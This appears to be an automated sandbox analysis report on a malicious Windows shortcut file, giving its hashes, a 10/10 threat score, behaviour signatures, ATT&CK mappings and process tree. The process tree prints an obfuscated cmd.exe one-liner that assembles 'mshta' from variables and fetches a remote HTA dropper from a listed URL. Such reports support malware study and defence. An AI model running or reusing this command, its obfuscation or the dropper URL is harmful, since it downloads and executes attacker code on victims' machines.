21cd4473f199a7b21bc28baf0677c3e30f994256ff1aa069d4a41a173f3dda8a

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:22

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General

Target
DOC-DQ4ZUO.lnk
Size 1KB
Sample260803-qmpthazbph
SHA256 21cd4473f199a7b21bc28baf0677c3e30f994256ff1aa069d4a41a173f3dda8a
MD5 b53ac2bacdf519b60e17edfed1fd7c39
SHA1 4fd59b5b1b889045bcd78771624dfd793e4c7774
SHA512 66d1a3042977c6628d3812253faf661b0f56f999ce5767f5c135ea7caed6d6e97bcb1fa7d6b71b03e92291d95e87308bdb36d037018d3823657bbb765df3e630
TLSH
T15B3147502FFD0A14F3B79E7394BB6B2095BBB9568E21C61D0151464C1432A14E17BF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2440	cmd.exe
760	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 760	2440	cmd.exe	90
PID 760 wrote to memory of 5368	760	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DQ4ZUO.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2440
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set ShSPZ=msh&&set gz=ta&&start "" !ShSPZ!!gz! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:5368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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